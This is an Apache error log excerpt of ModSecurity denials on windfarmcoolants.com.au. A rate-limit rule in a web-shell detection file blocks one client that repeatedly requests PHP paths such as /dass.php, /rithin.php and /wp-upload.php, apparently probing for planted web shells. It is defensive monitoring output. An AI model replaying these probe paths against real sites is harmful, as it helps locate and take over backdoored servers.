[Thu Apr 02 06:49:57.396004 2026] [:error] [pid 59200:tid 59246] [client 20.223.180.142:65321] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "ac2hFbfP26txrdLs3EoC_QAAAEY"]
[Thu Apr 02 06:49:57.955427 2026] [:error] [pid 29467:tid 29476] [client 20.223.180.142:65290] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "ac2hFb4VUBFCJAq-WOkwhwAAAQY"]
[Thu Apr 02 06:49:58.501430 2026] [:error] [pid 59200:tid 59247] [client 20.223.180.142:65314] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "ac2hFrfP26txrdLs3EoC_gAAAEc"]
[Thu Apr 02 06:49:59.036539 2026] [:error] [pid 59200:tid 59257] [client 20.223.180.142:50130] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "ac2hF7fP26txrdLs3EoC_wAAAFE"]
[Thu Apr 02 06:49:59.598910 2026] [:error] [pid 59201:tid 59280] [client 20.223.180.142:20966] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "ac2hF8AC0Tw8eL6gzZ6OPQAAAI0"]
[Thu Apr 02 06:50:00.174919 2026] [:error] [pid 59201:tid 59271] [client 20.223.180.142:65293] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rithin.php"] [unique_id "ac2hGMAC0Tw8eL6gzZ6OPgAAAIQ"]
[Thu Apr 02 06:50:00.683438 2026] [:error] [pid 37543:tid 37546] [client 20.223.180.142:65286] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilng.php"] [unique_id "ac2hGHhdk2bEYJCvILYxMAAAAUE"]
[Thu Apr 02 06:50:01.223626 2026] [:error] [pid 59201:tid 59274] [client 20.223.180.142:65315] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilng.php"] [unique_id "ac2hGcAC0Tw8eL6gzZ6OQgAAAIc"]
[Thu Apr 02 06:50:01.726371 2026] [:error] [pid 29467:tid 29492] [client 20.223.180.142:65288] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilng.php"] [unique_id "ac2hGb4VUBFCJAq-WOkwkwAAARY"]
[Thu Apr 02 06:50:02.230034 2026] [:error] [pid 37543:tid 37551] [client 20.223.180.142:50124] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilng.php"] [unique_id "ac2hGnhdk2bEYJCvILYxNQAAAUY"]
[Thu Apr 02 06:50:02.760469 2026] [:error] [pid 29467:tid 29479] [client 20.223.180.142:65323] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f222.php"] [unique_id "ac2hGr4VUBFCJAq-WOkwlwAAAQk"]
[Thu Apr 02 06:50:03.288376 2026] [:error] [pid 59305:tid 59324] [client 20.223.180.142:20946] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f222.php"] [unique_id "ac2hG6r2tV4rDwKFxKcc1gAAAM8"]
[Thu Apr 02 06:50:03.793857 2026] [:error] [pid 59305:tid 59316] [client 20.223.180.142:20981] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f222.php"] [unique_id "ac2hG6r2tV4rDwKFxKcc2AAAAMc"]
[Thu Apr 02 06:50:04.304370 2026] [:error] [pid 59305:tid 59329] [client 20.223.180.142:65328] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f222.php"] [unique_id "ac2hHKr2tV4rDwKFxKcc2QAAANQ"]
[Thu Apr 02 06:50:04.804659 2026] [:error] [pid 59200:tid 59255] [client 20.223.180.142:21017] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-ver.php"] [unique_id "ac2hHLfP26txrdLs3EoDAwAAAE8"]
[Thu Apr 02 06:50:05.312192 2026] [:error] [pid 29467:tid 29490] [client 20.223.180.142:65289] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-ver.php"] [unique_id "ac2hHb4VUBFCJAq-WOkwnwAAARQ"]
[Thu Apr 02 06:50:05.814410 2026] [:error] [pid 59194:tid 59218] [client 20.223.180.142:50125] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-ver.php"] [unique_id "ac2hHRMpAeV11hcQehzkqgAAAAU"]
[Thu Apr 02 06:50:06.318133 2026] [:error] [pid 59194:tid 59229] [client 20.223.180.142:50165] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-ver.php"] [unique_id "ac2hHhMpAeV11hcQehzkrAAAABA"]
[Thu Apr 02 06:50:06.848300 2026] [:error] [pid 37543:tid 37559] [client 20.223.180.142:50136] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "ac2hHnhdk2bEYJCvILYxOwAAAU4"]
[Thu Apr 02 06:50:07.352817 2026] [:error] [pid 59201:tid 59285] [client 20.223.180.142:50158] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "ac2hH8AC0Tw8eL6gzZ6OSAAAAJI"]
[Thu Apr 02 06:50:07.883126 2026] [:error] [pid 59194:tid 59214] [client 20.223.180.142:43918] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "ac2hHxMpAeV11hcQehzksAAAAAE"]
[Thu Apr 02 06:50:08.408166 2026] [:error] [pid 59194:tid 59224] [client 20.223.180.142:20948] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-block.php"] [unique_id "ac2hIBMpAeV11hcQehzksQAAAAs"]
[Thu Apr 02 06:50:08.910497 2026] [:error] [pid 59201:tid 59270] [client 20.223.180.142:43930] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "ac2hIMAC0Tw8eL6gzZ6OTwAAAIM"]
[Thu Apr 02 06:50:09.442483 2026] [:error] [pid 37543:tid 37568] [client 20.223.180.142:50149] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "ac2hIXhdk2bEYJCvILYxQAAAAVc"]
[Thu Apr 02 06:50:09.946675 2026] [:error] [pid 37543:tid 37569] [client 20.223.180.142:50162] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "ac2hIXhdk2bEYJCvILYxQwAAAVg"]
[Thu Apr 02 06:50:10.458047 2026] [:error] [pid 37543:tid 37554] [client 20.223.180.142:50123] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "ac2hInhdk2bEYJCvILYxSAAAAUk"]
[Thu Apr 02 06:50:10.963114 2026] [:error] [pid 37543:tid 37555] [client 20.223.180.142:65307] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "ac2hInhdk2bEYJCvILYxSwAAAUo"]
[Thu Apr 02 06:50:11.467642 2026] [:error] [pid 37543:tid 37548] [client 20.223.180.142:50135] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "ac2hI3hdk2bEYJCvILYxTAAAAUM"]
[Thu Apr 02 06:50:11.968289 2026] [:error] [pid 37543:tid 37564] [client 20.223.180.142:65318] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "ac2hI3hdk2bEYJCvILYxTwAAAVM"]
[Thu Apr 02 06:50:12.502160 2026] [:error] [pid 59201:tid 59280] [client 20.223.180.142:65322] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "ac2hJMAC0Tw8eL6gzZ6OVQAAAI0"]
[Thu Apr 02 06:50:13.021356 2026] [:error] [pid 59201:tid 59276] [client 20.223.180.142:20972] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bhm.php"] [unique_id "ac2hJcAC0Tw8eL6gzZ6OWgAAAIk"]
[Thu Apr 02 06:50:13.565008 2026] [:error] [pid 59200:tid 59253] [client 20.223.180.142:43929] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bhm.php"] [unique_id "ac2hJbfP26txrdLs3EoDBwAAAE0"]
[Thu Apr 02 06:50:14.070333 2026] [:error] [pid 59200:tid 59259] [client 20.223.180.142:20932] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bhm.php"] [unique_id "ac2hJrfP26txrdLs3EoDCQAAAFM"]
[Thu Apr 02 06:50:14.610286 2026] [:error] [pid 29467:tid 29487] [client 20.223.180.142:62833] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bhm.php"] [unique_id "ac2hJr4VUBFCJAq-WOkwpgAAARE"]
[Thu Apr 02 06:50:15.113431 2026] [:error] [pid 59194:tid 59236] [client 20.223.180.142:65280] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckk.php"] [unique_id "ac2hJxMpAeV11hcQehzkxwAAABc"]
[Thu Apr 02 06:50:15.624847 2026] [:error] [pid 59194:tid 59232] [client 20.223.180.142:43912] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckk.php"] [unique_id "ac2hJxMpAeV11hcQehzkyQAAABM"]
[Thu Apr 02 06:50:16.126977 2026] [:error] [pid 29467:tid 29475] [client 20.223.180.142:20969] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckk.php"] [unique_id "ac2hKL4VUBFCJAq-WOkwqAAAAQU"]
[Thu Apr 02 06:50:16.731421 2026] [:error] [pid 29467:tid 29491] [client 20.223.180.142:43939] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckk.php"] [unique_id "ac2hKL4VUBFCJAq-WOkwrAAAARU"]
[Thu Apr 02 06:50:17.277933 2026] [:error] [pid 59201:tid 59274] [client 20.223.180.142:43951] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kiwkiw.php"] [unique_id "ac2hKcAC0Tw8eL6gzZ6OaQAAAIc"]
[Thu Apr 02 06:50:17.823810 2026] [:error] [pid 59200:tid 59254] [client 20.223.180.142:20945] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kiwkiw.php"] [unique_id "ac2hKbfP26txrdLs3EoDCwAAAE4"]
[Thu Apr 02 06:50:18.329342 2026] [:error] [pid 59305:tid 59322] [client 20.223.180.142:50150] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kiwkiw.php"] [unique_id "ac2hKqr2tV4rDwKFxKcc7wAAAM0"]
[Thu Apr 02 06:50:18.829892 2026] [:error] [pid 59200:tid 59257] [client 20.223.180.142:20977] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kiwkiw.php"] [unique_id "ac2hKrfP26txrdLs3EoDDwAAAFE"]
[Thu Apr 02 06:50:19.331694 2026] [:error] [pid 59201:tid 59268] [client 20.223.180.142:20971] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sfcl.php"] [unique_id "ac2hK8AC0Tw8eL6gzZ6OawAAAIE"]
[Thu Apr 02 06:50:19.833336 2026] [:error] [pid 37543:tid 37558] [client 20.223.180.142:43922] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sfcl.php"] [unique_id "ac2hK3hdk2bEYJCvILYxWwAAAU0"]
[Thu Apr 02 06:50:20.338612 2026] [:error] [pid 59200:tid 59256] [client 20.223.180.142:65329] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sfcl.php"] [unique_id "ac2hLLfP26txrdLs3EoDEQAAAFA"]
[Thu Apr 02 06:50:20.860751 2026] [:error] [pid 59201:tid 59277] [client 20.223.180.142:65334] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sfcl.php"] [unique_id "ac2hLMAC0Tw8eL6gzZ6OcAAAAIo"]
[Thu Apr 02 06:50:21.362965 2026] [:error] [pid 37543:tid 37567] [client 20.223.180.142:50164] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "ac2hLXhdk2bEYJCvILYxXAAAAVY"]
[Thu Apr 02 06:50:21.865895 2026] [:error] [pid 59200:tid 59245] [client 20.223.180.142:65309] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "ac2hLbfP26txrdLs3EoDFQAAAEU"]
[Thu Apr 02 06:50:22.378178 2026] [:error] [pid 37543:tid 37565] [client 20.223.180.142:65310] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "ac2hLnhdk2bEYJCvILYxXwAAAVQ"]
[Thu Apr 02 06:50:22.888813 2026] [:error] [pid 59200:tid 59252] [client 20.223.180.142:65333] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "ac2hLrfP26txrdLs3EoDFwAAAEw"]
[Thu Apr 02 06:50:23.421933 2026] [:error] [pid 37543:tid 37545] [client 20.223.180.142:20943] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xozx.php"] [unique_id "ac2hL3hdk2bEYJCvILYxYQAAAUA"]
[Thu Apr 02 06:50:23.933074 2026] [:error] [pid 59194:tid 59230] [client 20.223.180.142:20963] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xozx.php"] [unique_id "ac2hLxMpAeV11hcQehzk2wAAABE"]
[Thu Apr 02 06:50:24.461728 2026] [:error] [pid 59201:tid 59272] [client 20.223.180.142:50121] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xozx.php"] [unique_id "ac2hMMAC0Tw8eL6gzZ6OdQAAAIU"]
[Thu Apr 02 06:50:24.964594 2026] [:error] [pid 59194:tid 59227] [client 20.223.180.142:50137] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xozx.php"] [unique_id "ac2hMBMpAeV11hcQehzk3QAAAA4"]
[Thu Apr 02 06:50:25.495554 2026] [:error] [pid 59305:tid 59324] [client 20.223.180.142:62800] [client 20.223.180.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-upload.php"] [unique_id "ac2hMar2tV4rDwKFxKcc_QAAAM8"]
